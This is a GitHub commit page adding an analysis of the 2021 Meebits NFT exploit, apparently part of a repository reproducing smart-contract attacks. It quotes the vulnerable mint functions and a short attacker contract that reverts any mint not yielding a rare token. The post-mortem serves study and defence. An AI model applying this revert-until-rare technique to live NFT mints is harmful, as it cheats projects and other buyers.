Skip to content

Commit db814a6

Browse files
committed
add Meebits exploit
1 parent 44c0f77 commit db814a6

File tree

6 files changed

+1163
-3
lines changed

6 files changed

+1163
-3
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
.env

Meebits/Analysis.md

Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
# Analysis of the Meebits exploit
2+
3+
In May 2021, an attacker, armed with the list of rare Meebits tokenIds, managed to brute force the early mint of the NFT and revert all transactions except the ones that would mint a rare NFT. He managed to mint one before the mint was paused, and sold it for 200 ETH.
4+
5+
The exploited Meebits contract on etherscan: [0x7bd29408f11d2bfc23c34f18275bbf23bb716bc7](https://etherscan.io/address/0x7bd29408f11d2bfc23c34f18275bbf23bb716bc7#code)
6+
The exploit transaction hash: [0xcad228421360736da7c5a07ae0bdfc868c6a66613109f64a24ccffedfdd5f04d](https://etherscan.io/tx/0xcad228421360736da7c5a07ae0bdfc868c6a66613109f64a24ccffedfdd5f04d)
7+
The transaction hash with the sale: [0x8edd496c28603b334a57dbf459b3d1fc61a33b08e8aaaaf7f634080482c3f026](https://etherscan.io/tx/0x8edd496c28603b334a57dbf459b3d1fc61a33b08e8aaaaf7f634080482c3f026)
8+
9+
The hacker address: [0xb08be767cdc33913f8e2fa44193f4e2eb5725876](https://etherscan.io/address/0xb08be767cdc33913f8e2fa44193f4e2eb5725876)
10+
The hacker address 2: [0x009988ff77eeaa00051238ee32c48f10a174933e](https://etherscan.io/address/0x009988ff77eeaa00051238ee32c48f10a174933e)
11+
The Exploit contract: [0x270ff2308a29099744230de56e7b41c8ced46ffb](https://etherscan.io/address/0x270ff2308a29099744230de56e7b41c8ced46ffb)
12+
13+
## The vulnerability: leaked rarity traits
14+
15+
Inside a NFT collection, some token are more rare than others, and thus more valuable. The rarity is baseed on the token's traits. Unfortunately, for the Meebits NFT, the contract contained a file with the metadata of the collection, containing the traits and their rarity for each tokenId. So when you minted an NFT, you could know its relative value.
16+
17+
```solidity
18+
// IPFS Hash to the NFT content
19+
string public contentHash =
20+
"QmfXYgfX1qNfzQ6NRyFnupniZusasFPMeiWn5aaDnx7YXo";
21+
```
22+
23+
Since the `mint()` function returns the id of the minted token, a contract could easily call the `mint()` function and `revert` if the returned id was not in a list of rare tokenId.
24+
```solidity
25+
26+
/**
27+
* Public sale minting.
28+
*/
29+
function mint() external payable reentrancyGuard returns (uint256) {
30+
require(publicSale, "Sale not started.");
31+
require(!marketPaused);
32+
require(numSales < SALE_LIMIT, "Sale limit reached.");
33+
uint256 salePrice = getPrice();
34+
require(msg.value >= salePrice, "Insufficient funds to purchase.");
35+
if (msg.value > salePrice) {
36+
msg.sender.transfer(msg.value.sub(salePrice));
37+
}
38+
beneficiary.transfer(salePrice);
39+
numSales++;
40+
return _mint(msg.sender, 0);
41+
}
42+
function _mint(address _to, uint256 createdVia) internal returns (uint256) {
43+
require(_to != address(0), "Cannot mint to 0x0.");
44+
require(numTokens < TOKEN_LIMIT, "Token limit reached.");
45+
uint256 id = randomIndex();
46+
47+
numTokens = numTokens + 1;
48+
_addNFToken(_to, id);
49+
50+
emit Mint(id, _to, createdVia);
51+
emit Transfer(address(0), _to, id);
52+
return id;
53+
}
54+
```
55+
56+
## The exploit
57+
58+
The attacker deployed his attack contract, with a list of rare tokenId, and an `attack()` function which simply called `mintWithPunkOrGlyph()` and made sure the minted token was rare, otherwise the tx would revert. It also sent 1 ETH to the miner to ensure that the transaction would be added to the block:
59+
60+
```solidity
61+
function attack(uint _punkId) public{
62+
uint256 tokenId = meebits.mintWithPunkOrGlyph(_punkId); // mint a meebits
63+
require(rareMeebits[tokenId]); //check if its a rare one, revert if not
64+
block.coinbase.call{value: 1 ether}(""); // pay the miner
65+
}
66+
```
67+
Before the public mint of the Meebits NFT, they allowed anyone with a CryptoPunks NFT (or an Autoglyph) to mint a Meebits (one per Punks/Glyph NFT). This is why the attacker called `mintWithPunkOrGlyph()` and not `mint()`. In order to be able to call this function, the attacker purchased a cryptoPunk, and sent it to the attack contract.
68+
The `mintWithPunkOrGlyph()` function:
69+
```solidity
70+
/**
71+
* Community grant minting.
72+
*/
73+
function mintWithPunkOrGlyph(uint256 _createVia)
74+
external
75+
reentrancyGuard
76+
returns (uint256)
77+
{
78+
require(communityGrant);
79+
require(!marketPaused);
80+
require(
81+
_createVia > 0 && _createVia <= 10512,
82+
"Invalid punk/glyph index."
83+
);
84+
require(
85+
creatorNftMints[_createVia] == 0,
86+
"Already minted with this punk/glyph"
87+
);
88+
if (_createVia > 10000) {
89+
... // It's a glyph
90+
} else {
91+
// It's a punk
92+
// Compute the punk ID
93+
uint256 punkId = _createVia.sub(1);
94+
// Make sure the sender owns the punk
95+
require(
96+
Cryptopunks(punks).punkIndexToAddress(punkId) == msg.sender,
97+
"Not the owner of this punk."
98+
);
99+
}
100+
creatorNftMints[_createVia]++;
101+
return _mint(msg.sender, _createVia);
102+
}
103+
104+
function _mint(address _to, uint256 createdVia) internal returns (uint256) {
105+
require(_to != address(0), "Cannot mint to 0x0.");
106+
require(numTokens < TOKEN_LIMIT, "Token limit reached.");
107+
uint256 id = randomIndex();
108+
109+
numTokens = numTokens + 1;
110+
_addNFToken(_to, id);
111+
112+
emit Mint(id, _to, createdVia);
113+
emit Transfer(address(0), _to, id);
114+
return id;
115+
}
116+
```
117+
He then start spaming the `attack()` function. This would obvioulsy fail a lot:
118+
119+
![Failed mint transaction](img/fail_brute_force_mint.png "Failed mint transaction")
120+
121+
122+
until one succeeded less than an hour later:
123+
124+
![Successful mint transaction](img/successful_brute_force_mint.png "Successful mint transaction")
125+
126+
He then quickly sold Meebits #16647 for 200 ETH and bought another Punk to try again.
127+
128+
129+
## The Aftermath
130+
131+
Fortunately, the Meebits team was reactive and quickly stopped the mint, less than 3 hours after the brute forcing started. The attacker only managed to mint one rare token.
132+
133+

0 commit comments

Comments
 (0)